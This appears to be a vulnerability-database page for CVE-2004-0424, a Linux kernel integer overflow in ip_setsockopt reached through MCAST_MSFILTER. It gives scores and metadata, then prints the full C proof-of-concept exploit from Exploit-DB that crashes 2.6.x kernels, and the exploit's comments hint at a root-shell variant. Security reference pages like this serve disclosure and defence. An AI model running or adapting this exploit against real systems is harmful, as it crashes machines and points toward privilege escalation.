CVE-2004-0424 Detail

CVE-2004-0424

EPSS

0.04%V3

Vector

Local

Published

2004-04-30
02h00 +00:00

Modified

2017-10-09
22h57 +00:00

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CVE.org

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CVE Descriptions

Integer overflow in the ip_setsockopt function in Linux kernel 2.4.22 through 2.4.25 and 2.6.1 through 2.6.3 allows local users to cause a denial of service (crash) or execute arbitrary code via the MCAST_MSFILTER socket option.

CVE Informations

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	7.2		AV:L/AC:L/Au:N/C:C/I:C/A:C	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 274

Publication date : 2004-04-20 22h00 +00:00
Author : Julien Tinnes
EDB Verified : Yes

/* setsockopt proof of concept code by Julien TINNES (julien a.t cr0.org) vulnerability found (as always by Paul Starzetz This is only a lame POC which will crash the machine, no root shell here. Maybe later, when everybody will have an updated box. It should work on 2.6.1, 2.6.2 and 2.6.3 kernels. Greets to Christophe Devine, too bad you wasn't with me for this one. */ #include <errno.h> void perror (const char *s); #include <sys/types.h> #include <sys/socket.h> #include <linux/in.h> #include <linux/socket.h> #define SOL_IP 0 #define MCAST_MSFILTER 48 /* mynumsrc and alloc_room control the overflow * what we write can be controlled too (not needed * here but needed for rootshell exploit */ #define mynumsrc 0x100 /* 0x100 should be enough, can be tweaked */ #define alloc_room 1 /* let it alocate only one u32 */ struct mygroup_filter { __u32 gf_interface; /* interface index */ struct sockaddr_storage gf_group; /* multicast address */ __u32 gf_fmode; /* filter mode */ __u32 gf_numsrc; /* number of sources */ struct sockaddr_storage gf_slist[mynumsrc]; /* interface index */ }; void main (void) { int mysocket; int sockprot; struct mygroup_filter mygroup; int optlen; int i; struct sockaddr_in *psin; mygroup.gf_interface = 0; mygroup.gf_numsrc = (1 << 30) - 4 + alloc_room; mygroup.gf_group.ss_family = AF_INET; for (i = 0; i < mynumsrc; i++) { psin = (struct sockaddr_in *) &mygroup.gf_slist[i]; psin->sin_family = AF_INET; } mysocket = socket (PF_INET, SOCK_STREAM, 0); if (mysocket == -1) { perror ("Socket creation error: "); exit (1); } optlen = sizeof (struct mygroup_filter); printf ("Calling setsockopt(), this should crash the box...\n"); sockprot = setsockopt (mysocket, SOL_IP, MCAST_MSFILTER, &mygroup, optlen); if (sockprot == -1) { perror ("Invalid setsockopt: "); exit (1); } } // milw0rm.com [2004-04-21]